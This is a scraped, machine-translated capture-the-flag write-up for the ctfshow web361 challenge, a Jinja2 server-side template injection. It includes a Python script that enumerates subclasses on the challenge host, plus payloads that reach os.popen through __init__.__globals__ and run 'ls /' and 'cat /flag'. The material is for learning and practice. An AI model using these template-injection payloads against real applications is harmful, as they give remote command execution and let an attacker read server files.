当前位置:网站首页>ctfshow-web361(SSTI)
ctfshow-web361(SSTI)
2022-04-23 18:33:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
notice Hello, Guess the input parameter is name
?name={
{[].__class__.__base__.__subclasses__()}}
Then it should be to write scripts and run programs to find the required functions ( Use someone else's , I can't write yet python Script )
Here use os._wrap_close class
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://5e2ef65c-fcb3-4ca5-9502-acab1d21ebc8.challenge.ctf.show/?name={
{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
Output 132
Then start using
use __init__.__globals__ lookup popen( Just find it , No need for location )
__globals__:
This attribute is a function specific attribute , Record the value of the global variable of the current file , If a file calls os、sys Such as the library , But we can only access the file, a function or an object , So we can use it __globals__ Property to access global variables
therefore __init__.__globals__ It should be to call global variables
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}
This should be to call... In the global variable popen
os.popen() Method is used to open a pipe from a command .( I don't quite understand the details , You can use commands )
popen Methods by p.read() Get terminal output
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
With the help of open() function , And in readable mode ( Include r、r+、rb、rb+) Open file , You can call read() Function byte by byte ( Or character by character ) Read the contents of the file . ( Probably popen With the help of open() function , Not very clear )
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
Probably understand , Know why , But it won't work
版权声明
本文为[m0_ sixty-two million ninety-four thousand eight hundred and fo]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231829008002.html
边栏推荐
- Robocode tutorial 3 - Robo machine analysis
- Introduction to quantexa CDI syneo platform
- Domestic GD chip can filter
- 22年字节跳动飞书人力套件三面面经
- JD-FreeFuck 京东薅羊毛控制面板 后台命令执行漏洞
- Jeecg boot microservice architecture
- 硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
- Ucosiii transplantation and use, reference punctual atom
- Analysez l'objet promise avec le noyau dur (Connaissez - vous les sept API communes obligatoires et les sept questions clés?)
- Daily network security certification test questions (April 18, 2022)
猜你喜欢
Spark performance optimization guide
使用 bitnami/postgresql-repmgr 镜像快速设置 PostgreSQL HA
Robocode tutorial 8 - advanced robot
【ACM】376. 摆动序列
STM32学习记录0008——GPIO那些事1
【ACM】70. climb stairs
listener.log
Robocode tutorial 3 - Robo machine analysis
CANopen STM32 transplantation
Creation and use of QT dynamic link library
随机推荐
RC smart pointer in rust
Daily CISSP certification common mistakes (April 18, 2022)
串口调试工具cutecom和minicom
Feign requests the log to be printed uniformly
Nodejs installation
Log4j2 cross thread print traceid
昇腾 AI 开发者创享日全国巡回首站在西安成功举行
Hard core parsing promise object (do you know these seven common APIs and seven key questions?)
Setting up keil environment of GD single chip microcomputer
Mysql database backup command -- mysqldump
Using transmittablethreadlocal to realize parameter cross thread transmission
纠结
多功能工具箱微信小程序源码
ctfshow-web361(SSTI)
【ACM】509. 斐波那契数(dp五部曲)
Robocode Tutorial 4 - robocode's game physics
kettle庖丁解牛第17篇之文本文件输出
CANopen usage method and main parameters of object dictionary
Connection mode of QT signal and slot connect() and the return value of emit
Rust: the output information of println is displayed during the unit test